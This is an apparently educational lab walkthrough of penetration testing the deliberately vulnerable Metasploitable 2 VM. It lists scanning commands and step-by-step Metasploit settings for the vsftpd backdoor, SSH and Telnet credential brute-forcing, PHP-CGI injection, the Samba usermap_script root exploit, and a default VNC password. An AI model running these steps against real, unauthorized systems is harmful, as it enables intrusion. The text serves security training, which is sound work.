From Enumeration to Root

A Metasploitable 2 Penetration Testing Walkthrough

“A step-by-step penetration testing assessment of Metasploitable 2 covering reconnaissance, enumeration, vulnerability validation, exploitation, and remediation.”

Kali Linux

Metasploitable 2 Desktop

I. Introduction

Metasploitable 2 is one of the most widely used intentionally vulnerable virtual machines designed for learning penetration testing and ethical hacking. Developed by the Metasploit Project, it contains numerous outdated services, insecure configurations, and known vulnerabilities that allow security professionals and students to practice identifying and exploiting security flaws in a controlled environment.

Unlike real-world systems, Metasploitable 2 is purposely insecure, making it an ideal target for understanding the complete penetration testing lifecycle — from reconnaissance and enumeration to exploitation and privilege escalation.

This walkthrough documents a full penetration testing assessment performed against a Metasploitable 2 virtual machine. The objective is to identify exposed services, discover vulnerabilities, exploit identified weaknesses, and ultimately obtain administrative (root) access while documenting every step of the process.

The assessment follows a structured methodology commonly used during professional penetration testing engagements:

• Information Gathering
• Host Discovery
• Port Scanning
• Service Enumeration
• Vulnerability Analysis
• Exploitation
• Post-Exploitation
• Privilege Escalation
• Documentation of Findings

The testing environment consists of a Kali Linux attacker machine and a Metasploitable 2 target running within an isolated virtual network. All activities were conducted in a controlled laboratory environment for educational purposes.

Tools Used

• Kali Linux
• Metasploitable 2
• Nmap (Network Mapper)
• Metasploit Framework (msfconsole)
• Searchsploit

Kali Linux Network Settings

Metasploitable 2 Network Settings

Target Information

Target Machine:- Metasploitable 2

Target IP:- 192.168.100.5

Attacker Machine:- Kali Linux

Network Type:- NATNetwork

Assessment:- Internal Penetration Test

Scope:- Entire VM

II. Penetration Testing Methodology

The assessment followed a structured penetration testing methodology designed to simulate the workflow used during professional security assessments. Each phase built upon the information gathered in the previous stage to ensure a systematic evaluation of the target system.

1. Information Gathering

The first phase focused on discovering the target system and identifying exposed network services. Port scanning and service enumeration were performed to determine which applications were accessible and to identify their software versions.

nbtscan <target-ip/subnet>

Host Discovery

Port Scanning

Once the target system was identified, the next step was to determine which network services were exposed. Port scanning helps security professionals understand the attack surface by identifying open ports, the services listening on those ports, and the software versions in use. This information is essential because outdated or misconfigured services often contain known vulnerabilities.

Quick Scan

The initial scan was performed to quickly identify the most commonly used TCP ports.

Command

nmap <target-ip> or nmap -sV <target-ip>

Nmap scan displaying service versions

a) FTP Enumeration (Port 21)

Overview

After identifying FTP (File Transfer Protocol) as an open service during the Nmap scan, the next step was to enumerate it to gather additional information about the server configuration. FTP enumeration helps determine whether the server allows anonymous access, reveals its software version, and identifies potential security weaknesses.

Service Version

The Nmap version scan identified the FTP service running vsftpd 2.3.4, an outdated FTP server commonly found on Metasploitable 2. Recording the service version is important because outdated software may contain known security vulnerabilities.

Command

searchsploit vsftpd 2.3.4

Searchsploit Results

Command

msfconsole

Metasploit Framework

Command

search vsftpd 2.3.4

Command

use 0

Command

**msf* exploit(unix/ftp/vsftpd_234_backdoor*) > options

**msf* exploit(unix/ftp/vsftpd_234_backdoor*) > set RHOSTS <target-ip>

**msf* exploit(unix/ftp/vsftpd_234_backdoor*) > set LHOST <your-kali-ip>

**msf *exploit(unix/ftp/vsftpd_234_backdoor*) > exploit

Congratulations! We’ve gained access through FTP exploits.

Reverse Shell Access via FTP

b) SSH Enumeration (Port 22)

Overview

After identifying SSH (Secure Shell) as an open service during the port scan, the next step was to enumerate it to gather information about the remote access service. SSH enumeration helps identify the service version, verify connectivity, and collect banner information that may assist in the security assessment.

Service Version

The Nmap version scan detected an SSH service listening on port 22. Recording the service version helps determine whether the server is running an outdated or unsupported version and provides valuable information for the assessment.

Command

searchsploit OpenSSH 4.7p1

Command

msfconsole

Metasploit Framework

Command

search ssh_login

Command

use 0

Command

**msf* auxiliary(scanner/ssh/ssh_login*) > options

**msf* auxiliary(scanner/ssh/ssh_login*) > set RHOSTS <target-ip>

**msf* auxiliary(scanner/ssh/ssh_login*) > set USER_FILE <user-path-file>

**msf* auxiliary(scanner/ssh/ssh_login*) > set PASS_FILE <password-path-file>

**msf *auxiliary(scanner/ssh/ssh_login*) > exploit

Congratulations! We’ve gained access through SSH exploits.

SSH connection established

c) Telnet Enumeration (Port 23)

Overview

After identifying Telnet as an open service during the port scan, the next step was to enumerate it to gather information about the remote access service. Telnet is an older remote management protocol that transmits data in plain text, making it less secure than SSH. Enumerating this service helps identify login prompts, banners, and potential configuration weaknesses.

Service Version

The Nmap version scan detected a Telnet service listening on port 23. Identifying the service and its banner provides valuable information about the remote access configuration and helps document exposed services.

Command

searchsploit telnetd

Command

msfconsole

Metasploit Framework

Command

search telnet_login

Command

use 1

Command

**msf* auxiliary(scanner/telnet/telnet_login*) > options

**msf* auxiliary(scanner/telnet/telnet_login*) > set RHOSTS <target-ip>

**msf* auxiliary(scanner/telnet/telnet_login*) > set USER_FILE <user-path-file>

**msf* auxiliary(scanner/telnet/telnet_login*) > set PASS_FILE <password-path-file>

**msf *auxiliary(scanner/telnet/telnet_login*) > exploit

Congratulations! We’ve gained access through Telnet exploits.

d) SMTP Enumeration (Port 25)

Overview

After identifying SMTP (Simple Mail Transfer Protocol) as an open service during the port scan, the next step was to enumerate it to gather information about the mail server. SMTP enumeration helps identify the mail service banner, supported commands, and server configuration, which are useful for understanding the exposed service.

Service Version

The Nmap version scan detected an SMTP service listening on port 25. Identifying the service banner provides valuable information about the mail server software and assists in documenting the target environment.

Command

searchsploit smtpd

Command

msfconsole

Command

search smtp_enum

Command

use 0

Command

**msf* auxiliary(scanner/smtp/smtp_enum*) > options

**msf* auxiliary(scanner/smtp/smtp_enum*) > set RHOSTS <target-ip>

**msf *auxiliary(scanner/smtp/smtp_enum*) > run

Command

telnet <target-ip> 25

Congratulations! We got access via SMTP exploit.

e) HTTP Enumeration (Port 80)

Overview

After identifying HTTP (Hypertext Transfer Protocol) as an open service during the port scan, the next step was to enumerate the web server. HTTP enumeration helps identify hosted web applications, discover hidden directories, detect outdated software, and identify common security misconfigurations.

Web Server Discovery

Access the target website using a web browser to identify the applications hosted on the web server.

URL: http://<target-ip>:80

HTTP Enumeration Command

Use Nikto to scan the web server for common vulnerabilities and misconfigurations.

Command

nikto -h http://<target-ip>

Command

searchsploit httpd 2.2.8

Command

msfconsole

Command

search http_version

Command

use 0

Command

**msf* auxiliary(scanner/http/http_version*) > options

**msf* auxiliary(scanner/http/http_version*) > set RHOSTS <target-ip>

**msf *auxiliary(scanner/http/http_version*) > run

Command

searchsploit Apache 2.2.8

Command

searchsploit php 5.4.2

Command

use 1

Command

**msf* exploit(multi/http/php_cgi_arg_injection*) > options

**msf* exploit(multi/http/php_cgi_arg_injection*) > set RHOSTS <target-ip>

**msf *exploit(multi/http/php_cgi_arg_injection*) > run

Congratulations! We got access via HTTP exploit.

f) VNC Vulnerability (Port 5900)

Overview

During the port scanning phase, the Virtual Network Computing (VNC) service was identified running on port 5900. VNC is a remote desktop protocol that allows users to remotely access and control a graphical desktop environment. If improperly configured, VNC services may expose systems to unauthorized remote access.

Service Detection

The Nmap scan detected the VNC service listening on port 5900, confirming that remote desktop functionality was available on the target machine.

Command

searchsploit vnc 3.3

Command

msfconsole

Command

search vnc_login

Command

use 0

Command

**msf* auxiliary(scanner/vnc/vnc_login*) > options

**msf* auxiliary(scanner/vnc/vnc_login*) > set RHOSTS <target-ip>

**msf *auxiliary(scanner/vnc/vnc_login*) > run

Command

vncviewer <target-ip>

Password for vncviewer is ‘password’.

Congratulations! We got GUI access via VNC exploit.

g) SMB Vulnerability (Ports 139 & 445)

Overview

During the enumeration phase, the Server Message Block (SMB) service was identified on ports 139 and 445. SMB is a network protocol used for file and printer sharing between systems. Misconfigured or outdated SMB services may expose sensitive information or increase the risk of unauthorized access.

Service Detection

The Nmap scan identified the SMB service running on the target system. Further enumeration was performed to identify shared resources and gather information about the SMB configuration.

Command

searchsploit smbd

Command

msfconsole

Command

search smb_version

Command

use 0

Command

**msf* auxiliary(scanner/smb/smb_version*) > options

**msf* auxiliary(scanner/smb/smb_version*) > set RHOSTS <target-ip>

**msf *auxiliary(scanner/smb/smb_version*) > run

Command

searchsploit samba 3.0.20

Command

search samba 3.0.20

Command

use 0

Command

**msf* exploit(multi/samba/usermap_script*) > options

**msf* exploit(multi/samba/usermap_script*) > set RHOSTS <target-ip>

**msf *exploit(multi/samba/usermap_script*) > run

Congratulations! We got root access via SMB exploit.

h) MySQL Vulnerability

Overview

During the enumeration phase, MySQL was identified as an active database service running on the target system. Databases often store sensitive information such as user accounts, application data, and configuration details, making them valuable assets during a security assessment. Identifying an exposed database service helps determine whether it is securely configured and properly restricted.

Service Detection

The Nmap version scan detected the MySQL service listening on its default port 3306. Recording the service version and port helps document the target environment and identify software that may require further security review.

Command

searchsploit mysql 5.0.51a

Command

search mysql_version

Command

use 0

Command

**msf* auxiliary(scanner/mysql/mysql_version*) > options

**msf* auxiliary(scanner/mysql/mysql_version*) > set RHOSTS <target-ip>

**msf *auxiliary(scanner/mysql/mysql_version*) > run

Conclusion

This walkthrough demonstrated a complete penetration testing assessment of the Metasploitable 2 virtual machine in a controlled laboratory environment. Starting with reconnaissance and port scanning, the assessment continued through service enumeration, vulnerability analysis, and validation of several intentionally vulnerable services, including FTP, SSH, Telnet, SMTP, HTTP, SMB, MySQL, and VNC.

The findings highlighted how outdated software, insecure configurations, and unnecessary exposed services can significantly increase an organization’s attack surface. More importantly, the assessment emphasized that effective penetration testing is not just about identifying vulnerabilities, but also about understanding their potential impact and recommending practical mitigation strategies.

Working in a safe and authorized lab environment provides an excellent opportunity to develop hands-on cybersecurity skills while following ethical hacking principles. Continuous learning, regular patch management, secure configurations, and periodic security assessments remain essential for maintaining a strong security posture.

I hope this walkthrough helps beginners understand the penetration testing process and serves as a practical reference for anyone starting their journey in ethical hacking and cybersecurity.